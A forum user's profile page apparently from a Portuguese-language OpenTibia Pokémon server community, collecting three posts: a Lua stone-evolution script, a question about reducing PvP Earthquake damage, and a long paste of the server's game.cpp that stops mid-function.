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xxxttten

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Posts postados por xxxttten

  1. Evolution

    Spoiler

    local special = specialevo                  --alterado v1.9 \/ peguem ele todo!

    local types = {
    [leaf] = {"Bulbasaur", "Ivysaur", "Oddish", "Gloom", "Bellsprout", "Weepinbell", "Exeggcute", "Chikorita", "Bayleef", "Hoppip", "Skiploom", "Sunkern"},
    [water] = {"Squirtle", "Wartortle", "Horsea", "Goldeen", "Magikarp", "Psyduck", "Poliwag", "Poliwhirl", "Tentacool", "Krabby", "Staryu", "Omanyte", "Eevee", "Totodile", "Croconow", "Chinchou", "Marill", "Wooper", "Slowpoke", "Remoraid", "Seadra"},
    [venom] = {"Zubat", "Ekans", "Nidoran male", "Nidoran female", "Nidorino", "Nidorina", "Gloom", "Venonat", "Tentacool", "Grimer", "Koffing", "Spinarak", "Golbat"},
    [thunder] = {"Magnemite", "Pikachu", "Voltorb", "Eevee", "Chinchou", "Pichu", "Mareep", "Flaaffy", "Elekid"},
    [rock] = {"Geodude", "Graveler", "Rhyhorn", "Kabuto", "Slugma", "Pupitar"},
    [punch] = {"Machop", "Machoke", "Mankey", "Poliwhirl", "Tyrogue"},
    [fire] = {"Charmander", "Charmeleon", "Vulpix", "Growlithe", "Ponyta", "Eevee", "Cyndaquil", "Quilava", "Slugma", "Houndour", "Magby"},
    [coccon] = {"Caterpie", "Metapod", "Weedle", "Kakuna", "Paras", "Venonat", "Scyther", "Ledyba", "Spinarak", "Pineco"},
    [crystal] = {"Dratini", "Dragonair", "Magikarp", "Omanyte", "Kabuto", "Seadra"},
    [dark] = {"Gastly", "Haunter", "Eevee", "Houndour", "Pupitar"},
    [earth] = {"Cubone", "Sandshrew", "Nidorino", "Nidorina", "Diglett", "Onix", "Rhyhorn", "Wooper", "Swinub", "Phanpy", "Larvitar"},
    [enigma] = {"Abra", "Kadabra", "Psyduck", "Slowpoke", "Drowzee", "Eevee", "Natu", "Smoochum"},
    [heart] = {"Rattata", "Pidgey", "Pidgeotto", "Spearow", "Clefairy", "Jigglypuff", "Meowth", "Doduo", "Porygon", "Chansey", "Sentret", "Hoothoot", "Cleffa", "Igglybuff", "Togepi", "Snubull", "Teddiursa"},
    [ice] = {"Seel", "Shellder", "Smoochum", "Swinub"},
    [king] = {"Slowpoke", "Poliwhirl"},
    [metal] = {"Onix", "Scyther"},
    [dragon] = {"Seadra"},
    [upgrade] = {"Porygon", "Nosepass", "Probopass"},
    [sun] = {"Sunkern", "Gloom"},
    [sfire] = {"Shiny Charmander", "Shiny Charmeleon", "Shiny Vulpix", "Shiny Growlithe", "Shiny Ponyta", "Shiny Eevee"},
    [swater] = {"Shiny Squirtle", "Shiny Wartortle", "Shiny Horsea", "Shiny Goldeen", "Shiny Magikarp", "Shiny Psyduck", "Shiny Poliwag", "Shiny Poliwhirl", "Shiny Tentacool", "Shiny Krabby", "Shiny Staryu", "Shiny Omanyte", "Shiny Eevee"},
    [sleaf] = {"Shiny Bulbasaur", "Shiny Ivysaur", "Shiny Oddish", "Shiny Gloom", "Shiny Bellsprout", "Shiny Weepinbell", "Shiny Exeggcute"},
    [sheart] = {"Shiny Rattata", "Shiny Pidgey", "Shiny Pidgeotto", "Shiny Spearow", "Shiny Clefairy", "Shiny Jigglypuff", "Shiny Meowth", "Shiny Doduo", "Shiny Porygon", "Shiny Chansey"},
    [senigma] = {"Shiny Abra", "Shiny Kadabra", "Shiny Psyduck", "Shiny Slowpoke", "Shiny Drowzee", "Shiny Eevee"},
    [srock] = {"Shiny Geodude", "Shiny Graveler", "Shiny Rhyhorn", "Shiny Kabuto"},
    [svenom] = {"Shiny Zubat", "Shiny Ekans", "Shiny Nidoran male", "Shiny Nidoran female", "Shiny Nidorino", "Shiny Nidorina", "Shiny Gloom", "Shiny Venonat", "Shiny Tentacool", "Shiny Grimer", "Shiny Koffing"},
    [sice] = {"Shiny Seel", "Shiny Shellder"},
    [sthunder] = {"Shiny Magnemite", "Shiny Pikachu", "Shiny Voltorb", "Shiny Eevee"},
    [scrystal] = {"Shiny Dratini", "Shiny Dragonair", "Shiny Magikarp", "Shiny Omanyte", "Shiny Kabuto"},
    [scoccon] = {"Shiny Caterpie", "Shiny Metapod", "Shiny Weedle", "Shiny Kakuna", "Shiny Paras", "Shiny Venonat", "Shiny Scyther"},
    [sdarkness] = {"Shiny Gastly", "Shiny Haunter", "Shiny Eevee"},
    [spunch] = {"Shiny Machop", "Shiny Machoke", "Shiny Mankey", "Shiny Poliwhirl"},
    [searth] = {"Shiny Cubone", "Shiny Sandshrew", "Shiny Nidorino", "Shiny Nidorina", "Shiny Diglett", "Shiny Onix", "Shiny Rhyhorn"},
    [greena] = {"Tangela,", "Tangrowth"},
    [magma] = {"Magmar"}

    }

    local specEvos = {   --alterado v1.9 \/
    ["Eevee"] = {
                   [thunder] = "Jolteon",
                   [water] = "Vaporeon",
                   [fire] = "Flareon",
                   [enigma] = "Espeon",
                   [dark] = "Umbreon",
                   [leaf] = "Leafeon",
                   [ice] = "Glaceon",
                },
    }

    function onUse(cid, item, frompos, item2, topos)

    local pokeball = getPlayerSlotItem(cid, ?

    if not isMonster(item2.uid) or not isSummon(item2.uid) then
       return true
    end
    if #getCreatureSummons(cid) > 1 then
       return true                           --alterado v1.9
    end

    if getCreatureCondition(item2.uid, CONDITION_INVISIBLE) then return true end

    local pevo = poevo[getCreatureName(item2.uid)]

    if not isInArray(specialevo, getCreatureName(item2.uid)) then
       if not pevo then
          doPlayerSendCancel(cid, "This pokemon can't evolve.")
          return true
       end
       if not isPlayer(getCreatureMaster(item2.uid)) or getCreatureMaster(item2.uid) ~= cid then
          doPlayerSendCancel(cid, "You can only use stones on pokemons you own.")
          return true
       end
       if pevo.stoneid ~= item.itemid and pevo.stoneid2 ~= item.itemid then 
          doPlayerSendCancel(cid, "This isn't the needed stone to evolve this pokemon.")
          return true
       end
    end

    local minlevel = 0

    if getPokemonName(item2.uid) == "Eevee" then
       local eevee = specEvos["Eevee"][item.itemid]
       if not eevee then
          doPlayerSendCancel(cid, "This isn't the required stone to evolve this pokemon.")
          return true
       end   

       minlevel = pokes[eevee].level

       if getPlayerLevel(cid) < minlevel then
          doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
          return true
       end

       doRemoveItem(item.uid, 1)
       doEvolvePokemon(cid, item2, eevee, 0, 0)
       return true
    end

    if isInArray(specialevo, getPokemonName(item2.uid)) then
       if getPokemonName(item2.uid) == "Poliwhirl" then
          local evolution = 0
          local theevo = ""
          
          if item.itemid == water then
             if getPlayerItemCount(cid, king) >= 1 then
                evolution = king
                theevo = "Politoed"
             elseif getPlayerItemCount(cid, punch) >= 1 then
                evolution = punch
                theevo = "Poliwrath"
             else
                doPlayerSendCancel(cid, "You need a water stone and a punch stone (Poliwrath) or a King's Rock (Politoed) to evolve this pokemon.")
                return true
             end
             
             minlevel = pokes[theevo].level
             
             if getPlayerLevel(cid) < minlevel then
                doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                return true
             end
             if getPlayerItemCount(cid, punch) >= 1 and getPlayerItemCount(cid, king) >= 1 then
                doPlayerSendCancel(cid, "Please, use your Punch Stone to evolve this pokemon to a Poliwrath, or a King's Rock to a Politoed.")
                return true
             end
             doEvolvePokemon(cid, item2, theevo, evolution, water)

          elseif item.itemid == punch then
             minlevel = pokes["Poliwrath"].level
             
             if getPlayerLevel(cid) < minlevel then
                doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                return true
             end
             if getPlayerItemCount(cid, water) <= 0 then
                doPlayerSendCancel(cid, "You need at least one Punch Stone and one Water Stone to evolve this pokemon.")
                return true
             end

             local theevo = "Poliwrath"
             doEvolvePokemon(cid, item2, theevo, water, punch)
        
          elseif item.itemid == king then
             minlevel = pokes["Politoed"].level

             if getPlayerLevel(cid) < minlevel then
                doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                return true
             end
             if getPlayerItemCount(cid, water) <= 0 then
                doPlayerSendCancel(cid, "You need at least one Punch Stone and one King's Rock to evolve this pokemon.")
                return true
             end
             local theevo = "Politoed"
             doEvolvePokemon(cid, item2, theevo, water, king)
          end

        elseif getPokemonName(item2.uid) == "Gloom" then
           local theevo = ""
           local evolution = 0
           if item.itemid == leaf then
              if getPlayerItemCount(cid, venom) >= 1 then
                 theevo = "Vileplume"
                 evolution = venom
              elseif getPlayerItemCount(cid, sun) >= 1 then
                 theevo = "Bellossom"
                 evolution = sun
              else
                 doPlayerSendCancel(cid, "You need at least one Leaf Stone, and a Sun Stone (Bellossom) or a Venom Stone (Vileplume) to evolve this pokemon.")
                 return true
              end
              
              minlevel = pokes[theevo].level
              
              if getPlayerLevel(cid) < minlevel then
                 doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                 return true
              end
              if getPlayerItemCount(cid, venom) >= 1 and getPlayerItemCount(cid, sun) >= 1 then
                 doPlayerSendCancel(cid, "Please, use your Venom Stone to evolve this pokemon to a Vileplume, or a Sun Stone to a Bellossom.")
                 return true
              end
              
              doEvolvePokemon(cid, item2, theevo, evolution, leaf)

           elseif item.itemid == venom then
              minlevel = pokes["Vileplume"].level

              if getPlayerLevel(cid) < minlevel then
                 doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                 return true
              end
              if getPlayerItemCount(cid, leaf) <= 0 then
                 doPlayerSendCancel(cid, "You need at least one Leaf Stone and one Venom Stone to evolve this pokemon.")
                 return true
              end
              doEvolvePokemon(cid, item2, "Vileplume", venom, leaf)
              
           elseif item.itemid == sun then
              minlevel = pokes["Bellossom"].level

              if getPlayerLevel(cid) < minlevel then
                 doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                 return true
              end
              if getPlayerItemCount(cid, leaf) <= 0 then
                 doPlayerSendCancel(cid, "You need at least one Leaf Stone and one Sun Stone to evolve this pokemon.")
                 return true
              end
              doEvolvePokemon(cid, item2, "Bellossom", sun, leaf)
           end
           
        elseif getPokemonName(item2.uid) == "Slowpoke" then
           if item.itemid == enigma then
              minlevel = pokes["Slowbro"].level

              if getPlayerLevel(cid) < minlevel then
                 doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                 return true
              end
              doEvolvePokemon(cid, item2, "Slowbro", enigma, 0)

            elseif item.itemid == king then
              minlevel = pokes["Slowking"].level

              if getPlayerLevel(cid) < minlevel then
                 doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
                 return true
              end
              doEvolvePokemon(cid, item2, "Slowking", king, 0)
            end

        elseif getPokemonName(item2.uid) == "Tyrogue" then
            local evolution = ""

            evolution = choose("Hitmonlee", "Hitmonchan", "Hitmontop")
            minlevel = pokes[evolution].level

            if getPlayerLevel(cid) < minlevel then
               doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
               return true
            end
            doEvolvePokemon(cid, item2, evolution, punch, 0)
        end
    return true
    end

    local count = poevo[getPokemonName(item2.uid)].count
    local stnid = poevo[getPokemonName(item2.uid)].stoneid
    local stnid2 = poevo[getPokemonName(item2.uid)].stoneid2
    local evo = poevo[getPokemonName(item2.uid)].evolution

    if stnid2 > 1 and (getPlayerItemCount(cid, stnid2) < count or getPlayerItemCount(cid, stnid) < count) then
       doPlayerSendCancel(cid, "You need at least one "..getItemNameById(stnid).." and one "..getItemNameById(stnid2).." to evolve this pokemon!")
       return true
    end

    if getPlayerItemCount(cid, stnid) < count then
       local str = ""
       if count >= 2 then
          str = "s"
       end
    return doPlayerSendCancel(cid, "You need at least "..count.." "..getItemNameById(stnid)..""..str.." to evolve this pokemon!")
    end

    minlevel = pokes[evo].level

    if getPlayerLevel(cid) < minlevel then
       doPlayerSendCancel(cid, "You don't have enough level to evolve this pokemon ("..minlevel..").")
       return true
    end

    if count >= 2 then
       stnid2 = stnid
    end

    doEvolvePokemon(cid, item2, evo, stnid, stnid2)

    return TRUE
    end

     

  2. Tipo assim, eu dou Earthquake em outro player e tira muito dano tipo 7k de vida e eu queria que diminuísse por exemplo para 3k de vida a cada ataque de Earthquake isso eu percebi que quanto mais lvl aumenta mais o dano porém no lvl 800 chega a tira 25k cada ataque isso é demais será que tem como diminuir o dano ? quando eu ataco um pokémon selvagem como no vídeo o mew ele tira 1000 de hp até 1300 hp esse dano que queria no personagem.

     

    segue o vídeo para exemplo > https://youtu.be/juB2TZAVacY

  3. game.cpp

    Spoiler

    ////////////////////////////////////////////////////////////////////////
    // OpenTibia - an opensource roleplaying game
    ////////////////////////////////////////////////////////////////////////
    // This program is free software: you can redistribute it and/or modify
    // it under the terms of the GNU General Public License as published by
    // the Free Software Foundation, either version 3 of the License, or
    // (at your option) any later version.
    //
    // This program is distributed in the hope that it will be useful,
    // but WITHOUT ANY WARRANTY; without even the implied warranty of
    // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    // GNU General Public License for more details.
    //
    // You should have received a copy of the GNU General Public License
    // along with this program.  If not, see <http://www.gnu.org/licenses/>.
    ////////////////////////////////////////////////////////////////////////
    #include "otpch.h"
    #include "game.h"

    #include "configmanager.h"
    #ifdef __LOGIN_SERVER__
    #include "gameservers.h"
    #endif
    #include "server.h"
    #include "chat.h"

    #include "luascript.h"
    #include "creature.h"
    #include "combat.h"
    #include "tile.h"

    #include "database.h"
    #include "iologindata.h"
    #include "ioban.h"
    #include "ioguild.h"

    #include "items.h"
    #include "container.h"
    #include "monsters.h"

    #include "house.h"
    #include "quests.h"

    #include "actions.h"
    #include "globalevent.h"
    #include "movement.h"
    #include "raids.h"
    #include "scriptmanager.h"
    #include "spells.h"
    #include "talkaction.h"
    #include "weapons.h"

    #include "vocation.h"
    #include "group.h"
    #include "textlogger.h"

    #ifdef __EXCEPTION_TRACER__
    #include "exception.h"
    #endif

    extern ConfigManager g_config;
    extern Actions* g_actions;
    extern Monsters g_monsters;
    extern Npcs g_npcs;
    extern Chat g_chat;
    extern TalkActions* g_talkActions;
    extern Spells* g_spells;
    extern MoveEvents* g_moveEvents;
    extern Weapons* g_weapons;
    extern CreatureEvents* g_creatureEvents;
    extern GlobalEvents* g_globalEvents;

    Game::Game()
    {
        gameState = GAME_STATE_NORMAL;
        worldType = WORLD_TYPE_PVP;
        map = NULL;
        playersRecord = lastStageLevel = 0;
        for(int32_t i = 0; i < 3; i++)
            globalSaveMessage = false;

        //(1440 minutes/day) * 10 seconds event interval / (3600 seconds/day)
        lightHourDelta = 1440 * 10 / 3600;
        lightHour = SUNRISE + (SUNSET - SUNRISE) / 2;
        lightLevel = LIGHT_LEVEL_DAY;
        lightState = LIGHT_STATE_DAY;

        lastBucket = checkCreatureLastIndex = checkLightEvent = checkCreatureEvent = checkDecayEvent = saveEvent = 0;
    }

    Game::~Game()
    {
        blacklist.clear();
        if(map)
            delete map;
    }

    void Game::start(ServiceManager* servicer)
    {
        checkDecayEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_DECAYINTERVAL,
            boost::bind(&Game::checkDecay, this)));
        checkCreatureEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_CREATURE_THINK_INTERVAL,
            boost::bind(&Game::checkCreatures, this)));
        checkLightEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_LIGHTINTERVAL,
            boost::bind(&Game::checkLight, this)));

        services = servicer;
        if(g_config.getBool(ConfigManager::GLOBALSAVE_ENABLED) && g_config.getNumber(ConfigManager::GLOBALSAVE_H) >= 1
            && g_config.getNumber(ConfigManager::GLOBALSAVE_H) <= 24)
        {
            int32_t prepareGlobalSaveHour = g_config.getNumber(ConfigManager::GLOBALSAVE_H) - 1, hoursLeft = 0, minutesLeft = 0, minutesToRemove = 0;
            bool ignoreEvent = false;

            time_t timeNow = time(NULL);
            const tm* theTime = localtime(&timeNow);
            if(theTime->tm_hour > prepareGlobalSaveHour)
            {
                hoursLeft = 24 - (theTime->tm_hour - prepareGlobalSaveHour);
                if(theTime->tm_min > 55 && theTime->tm_min <= 59)
                    minutesToRemove = theTime->tm_min - 55;
                else
                    minutesLeft = 55 - theTime->tm_min;
            }
            else if(theTime->tm_hour == prepareGlobalSaveHour)
            {
                if(theTime->tm_min >= 55 && theTime->tm_min <= 59)
                {
                    if(theTime->tm_min >= 57)
                        setGlobalSaveMessage(0, true);

                    if(theTime->tm_min == 59)
                        setGlobalSaveMessage(1, true);

                    prepareGlobalSave();
                    ignoreEvent = true;
                }
                else
                    minutesLeft = 55 - theTime->tm_min;
            }
            else
            {
                hoursLeft = prepareGlobalSaveHour - theTime->tm_hour;
                if(theTime->tm_min > 55 && theTime->tm_min <= 59)
                    minutesToRemove = theTime->tm_min - 55;
                else
                    minutesLeft = 55 - theTime->tm_min;
            }

            uint32_t hoursLeftInMs = 60000 * 60 * hoursLeft, minutesLeftInMs = 60000 * (minutesLeft - minutesToRemove);
            if(!ignoreEvent && (hoursLeftInMs + minutesLeftInMs) > 0)
                saveEvent = Scheduler::getInstance().addEvent(createSchedulerTask(hoursLeftInMs + minutesLeftInMs,
                    boost::bind(&Game::prepareGlobalSave, this)));
        }
    }

    void Game::loadGameState()
    {
        ScriptEnviroment::loadGameState();
        loadMotd();
        loadPlayersRecord();
        checkHighscores();
    }

    void Game::setGameState(GameState_t newState)
    {
        if(gameState == GAME_STATE_SHUTDOWN)
            return; //this cannot be stopped

        if(gameState != newState)
        {
            gameState = newState;
            switch(newState)
            {
                case GAME_STATE_INIT:
                {
                    Spawns::getInstance()->startup();
                    Raids::getInstance()->loadFromXml();
                    Raids::getInstance()->startup();
                    Quests::getInstance()->loadFromXml();

                    loadGameState();
                    g_globalEvents->startup();

                    IOBan::getInstance()->clearTemporials();
                    if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT))
                        IOLoginData::getInstance()->updatePremiumDays();
                    break;
                }

                case GAME_STATE_SHUTDOWN:
                {
                    g_globalEvents->execute(GLOBAL_EVENT_SHUTDOWN);
                    AutoList<Player>::iterator it = Player::autoList.begin();
                    while(it != Player::autoList.end()) //kick all players that are still online
                    {
                        it->second->kickPlayer(true, true);
                        it = Player::autoList.begin();
                    }

                    Houses::getInstance()->payHouses();
                    saveGameState(false);
                    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::shutdown, this)));

                    Scheduler::getInstance().stop();
                    Dispatcher::getInstance().stop();
                    break;
                }

                case GAME_STATE_CLOSED:
                {
                    AutoList<Player>::iterator it = Player::autoList.begin();
                    while(it != Player::autoList.end()) //kick all players who not allowed to stay
                    {
                        if(!it->second->hasFlag(PlayerFlag_CanAlwaysLogin))
                        {
                            it->second->kickPlayer(true, true);
                            it = Player::autoList.begin();
                        }
                        else
                            ++it;
                    }

                    saveGameState(false);
                    break;
                }

                case GAME_STATE_NORMAL:
                case GAME_STATE_MAINTAIN:
                case GAME_STATE_STARTUP:
                case GAME_STATE_CLOSING:
                default:
                    break;
            }
        }
    }

    void Game::saveGameState(bool shallow)
    {
        std::cout << "> Saving server..." << std::endl;
        uint64_t start = OTSYS_TIME();
        if(gameState == GAME_STATE_NORMAL)
            setGameState(GAME_STATE_MAINTAIN);

        IOLoginData* io = IOLoginData::getInstance();
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            it->second->loginPosition = it->second->getPosition();
            io->savePlayer(it->second, false, shallow);
        }

        std::string storage = "relational";
        if(g_config.getBool(ConfigManager::HOUSE_STORAGE))
            storage = "binary";

        map->saveMap();
        ScriptEnviroment::saveGameState();
        if(gameState == GAME_STATE_MAINTAIN)
            setGameState(GAME_STATE_NORMAL);

        std::cout << "> SAVE: Complete in " << (OTSYS_TIME() - start) / (1000.) << " seconds using " << storage << " house storage." << std::endl;
    }

    int32_t Game::loadMap(std::string filename)
    {
        if(!map)
            map = new Map;

        return map->loadMap(getFilePath(FILE_TYPE_OTHER, std::string("world/" + filename + ".otbm")));
    }

    void Game::cleanMap(uint32_t& count)
    {
        uint64_t start = OTSYS_TIME();
        uint32_t tiles = 0; count = 0;

        int32_t marked = -1;
        if(gameState == GAME_STATE_NORMAL)
            setGameState(GAME_STATE_MAINTAIN);

        Tile* tile = NULL;
        ItemVector::iterator tit;
        if(g_config.getBool(ConfigManager::STORE_TRASH))
        {
            marked = trash.size();
            Trash::iterator it = trash.begin();
            if(g_config.getBool(ConfigManager::CLEAN_PROTECTED_ZONES))
            {
                for(; it != trash.end(); ++it)
                {
                    if(!(tile = getTile(*it)))
                        continue;

                    tile->resetFlag(TILESTATE_TRASHED);
                    if(tile->hasFlag(TILESTATE_HOUSE) || !tile->getItemList())
                        continue;

                    ++tiles;
                    tit = tile->getItemList()->begin();
                    while(tile->getItemList() && tit != tile->getItemList()->end())
                    {
                        if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                            && !(*tit)->isScriptProtected())
                        {
                            internalRemoveItem(NULL, *tit);
                            if(tile->getItemList())
                                tit = tile->getItemList()->begin();

                            ++count;
                        }
                        else
                            ++tit;
                    }
                }

                trash.clear();
            }
            else
            {
                for(; it != trash.end(); ++it)
                {
                    if(!(tile = getTile(*it)))
                        continue;

                    tile->resetFlag(TILESTATE_TRASHED);
                    if(tile->hasFlag(TILESTATE_PROTECTIONZONE) || !tile->getItemList())
                        continue;

                    ++tiles;
                    tit = tile->getItemList()->begin();
                    while(tile->getItemList() && tit != tile->getItemList()->end())
                    {
                        if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                            && !(*tit)->isScriptProtected())
                        {
                            internalRemoveItem(NULL, *tit);
                            if(tile->getItemList())
                                tit = tile->getItemList()->begin();

                            ++count;
                        }
                        else
                            ++tit;
                    }
                }

                trash.clear();
            }
        }
        else if(g_config.getBool(ConfigManager::CLEAN_PROTECTED_ZONES))
        {
            for(uint16_t z = 0; z < (uint16_t)MAP_MAX_LAYERS; z++)
            {
                for(uint16_t y = 1; y <= map->mapHeight; y++)
                {
                    for(uint16_t x = 1; x <= map->mapWidth; x++)
                    {
                        if(!(tile = getTile(x, y, z)) || tile->hasFlag(TILESTATE_HOUSE) || !tile->getItemList())
                            continue;

                        ++tiles;
                        tit = tile->getItemList()->begin();
                        while(tile->getItemList() && tit != tile->getItemList()->end())
                        {
                            if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                                && !(*tit)->isScriptProtected())
                            {
                                internalRemoveItem(NULL, *tit);
                                if(tile->getItemList())
                                    tit = tile->getItemList()->begin();

                                ++count;
                            }
                            else
                                ++tit;
                        }
                    }
                }
            }
        }
        else
        {
            for(uint16_t z = 0; z < (uint16_t)MAP_MAX_LAYERS; z++)
            {
                for(uint16_t y = 1; y <= map->mapHeight; y++)
                {
                    for(uint16_t x = 1; x <= map->mapWidth; x++)
                    {
                        if(!(tile = getTile(x, y, z)) || tile->hasFlag(TILESTATE_PROTECTIONZONE) || !tile->getItemList())
                            continue;

                        ++tiles;
                        tit = tile->getItemList()->begin();
                        while(tile->getItemList() && tit != tile->getItemList()->end())
                        {
                            if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap()
                                && !(*tit)->isScriptProtected())
                            {
                                internalRemoveItem(NULL, *tit);
                                if(tile->getItemList())
                                    tit = tile->getItemList()->begin();

                                ++count;
                            }
                            else
                                ++tit;
                        }
                    }
                }
            }
        }

        if(gameState == GAME_STATE_MAINTAIN)
            setGameState(GAME_STATE_NORMAL);

        std::cout << "> CLEAN: Removed " << count << " item" << (count != 1 ? "s" : "")
            << " from " << tiles << " tile" << (tiles != 1 ? "s" : "");
        if(marked >= 0)
            std::cout << " (" << marked << " were marked)";

        std::cout << " in " << (OTSYS_TIME() - start) / (1000.) << " seconds." << std::endl;
    }

    void Game::proceduralRefresh(RefreshTiles::iterator* it/* = NULL*/)
    {
        if(!it)
            it = new RefreshTiles::iterator(refreshTiles.begin());

        // Refresh 250 tiles each cycle
        refreshMap(it, 250);
        if((*it) != refreshTiles.end())
        {
            delete it;
            return;
        }

        // Refresh some items every 100 ms until all tiles has been checked
        // For 100k tiles, this would take 100000/2500 = 40s = half a minute
        Scheduler::getInstance().addEvent(createSchedulerTask(100,
            boost::bind(&Game::proceduralRefresh, this, it)));
    }

    void Game::refreshMap(RefreshTiles::iterator* it/* = NULL*/, uint32_t limit/* = 0*/)
    {
        RefreshTiles::iterator end = refreshTiles.end();
        if(!it)
        {
            RefreshTiles::iterator begin = refreshTiles.begin();
            it = &begin;
        }

        Tile* tile = NULL;
        TileItemVector* items = NULL;

        Item* item = NULL;
        for(uint32_t cleaned = 0, downItemsSize = 0; (*it) != end &&
            (limit ? (cleaned < limit) : true); ++(*it), ++cleaned)
        {
            if(!(tile = (*it)->first))
                continue;

            if((items = tile->getItemList()))
            {
                downItemsSize = tile->getDownItemCount();
                for(uint32_t i = downItemsSize - 1; i >= 0; --i)
                {
                    if((item = items->at(i)))
                    {
                        #ifndef __DEBUG__
                        internalRemoveItem(NULL, item);
                        #else
                        if(internalRemoveItem(NULL, item) != RET_NOERROR)
                        {
                            std::cout << "> WARNING: Could not refresh item: " << item->getID();
                            std::cout << " at position: " << tile->getPosition() << std::endl;
                        }
                        #endif
                    }
                }
            }

            cleanup();
            TileItemVector list = (*it)->second.list;
            for(ItemVector::reverse_iterator it = list.rbegin(); it != list.rend(); ++it)
            {
                Item* item = (*it)->clone();
                if(internalAddItem(NULL, tile, item , INDEX_WHEREEVER, FLAG_NOLIMIT) == RET_NOERROR)
                {
                    if(item->getUniqueId() != 0)
                        ScriptEnviroment::addUniqueThing(item);

                    startDecay(item);
                }
                else
                {
                    std::cout << "> WARNING: Could not refresh item: " << item->getID()
                        << " at position: " << tile->getPosition() << std::endl;
                    delete item;
                }
            }
        }
    }

    Cylinder* Game::internalGetCylinder(Player* player, const Position& pos)
    {
        if(pos.x != 0xFFFF)
            return getTile(pos);

        //container
        if(pos.y & 0x40)
        {
            uint8_t fromCid = pos.y & 0x0F;
            return player->getContainer(fromCid);
        }

        return player;
    }

    Thing* Game::internalGetThing(Player* player, const Position& pos, int32_t index,
        uint32_t spriteId/* = 0*/, stackposType_t type/* = STACKPOS_NORMAL*/)
    {
        if(pos.x != 0xFFFF)
        {
            Tile* tile = getTile(pos);
            if(!tile)
                return NULL;

            if(type == STACKPOS_LOOK)
                return tile->getTopVisibleThing(player);

            Thing* thing = NULL;
            switch(type)
            {
                case STACKPOS_MOVE:
                {
                    Item* item = tile->getTopDownItem();
                    if(item && item->isMoveable())
                        thing = item;
                    else
                        thing = tile->getTopVisibleCreature(player);

                    break;
                }

                case STACKPOS_USE:
                {
                    thing = tile->getTopDownItem();
                    break;
                }

                case STACKPOS_USEITEM:
                {
                    Item* downItem = tile->getTopDownItem();
                    Item* item = tile->getItemByTopOrder(2);
                    if(item && g_actions->hasAction(item))
                    {
                        const ItemType& it = Item::items[item->getID()];
                        if(!downItem || (!it.hasHeight && !it.allowPickupable))
                            thing = item;
                    }

                    if(!thing)
                        thing = downItem;

                    if(!thing)
                        thing = tile->getTopTopItem();

                    if(!thing)
                        thing = tile->ground;

                    break;
                }

                default:
                    thing = tile->__getThing(index);
                    break;
            }

            if(player && thing && thing->getItem())
            {
                if(tile->hasProperty(ISVERTICAL))
                {
                    if(player->getPosition().x + 1 == tile->getPosition().x)
                        thing = NULL;
                }
                else if(tile->hasProperty(ISHORIZONTAL) && player->getPosition().y + 1 == tile->getPosition().y)
                    thing = NULL;
            }

            return thing;
        }
        else if(pos.y & 0x40)
        {
            uint8_t fromCid = pos.y & 0x0F, slot = pos.z;
            if(Container* parentcontainer = player->getContainer(fromCid))
                return parentcontainer->getItem(slot);
        }
        else if(!pos.y && !pos.z)
        {
            const ItemType& it = Item::items.getItemIdByClientId(spriteId);
            if(!it.id)
                return NULL;

            int32_t subType = -1;
            if(it.isFluidContainer() && index < int32_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
                subType = reverseFluidMap[index];

            return findItemOfType(player, it.id, true, subType);
        }

        return player->getInventoryItem((slots_t)static_cast<uint8_t>(pos.y));
    }

    void Game::internalGetPosition(Item* item, Position& pos, int16_t& stackpos)
    {
        pos.x = pos.y = pos.z = stackpos = 0;
        if(Cylinder* topParent = item->getTopParent())
        {
            if(Player* player = dynamic_cast<Player*>(topParent))
            {
                pos.x = 0xFFFF;

                Container* container = dynamic_cast<Container*>(item->getParent());
                if(container)
                {
                    pos.y = ((uint16_t) ((uint16_t)0x40) | ((uint16_t)player->getContainerID(container)) );
                    pos.z = container->__getIndexOfThing(item);
                    stackpos = pos.z;
                }
                else
                {
                    pos.y = player->__getIndexOfThing(item);
                    stackpos = pos.y;
                }
            }
            else if(Tile* tile = topParent->getTile())
            {
                pos = tile->getPosition();
                stackpos = tile->__getIndexOfThing(item);
            }
        }
    }

    Creature* Game::getCreatureByID(uint32_t id)
    {
        if(!id)
            return NULL;

        AutoList<Creature>::iterator it = autoList.find(id);
        if(it != autoList.end() && !it->second->isRemoved())
            return it->second;

        return NULL; //just in case the player doesnt exist
    }

    Player* Game::getPlayerByID(uint32_t id)
    {
        if(!id)
            return NULL;

        AutoList<Player>::iterator it = Player::autoList.find(id);
        if(it != Player::autoList.end() && !it->second->isRemoved())
            return it->second;

        return NULL; //just in case the player doesnt exist
    }

    Creature* Game::getCreatureByName(std::string s)
    {
        if(s.empty())
            return NULL;

        toLowerCaseString(s);
        for(AutoList<Creature>::iterator it = autoList.begin(); it != autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s)
                return it->second;
        }

        return NULL; //just in case the creature doesnt exist
    }

    Player* Game::getPlayerByName(std::string s)
    {
        if(s.empty())
            return NULL;

        toLowerCaseString(s);
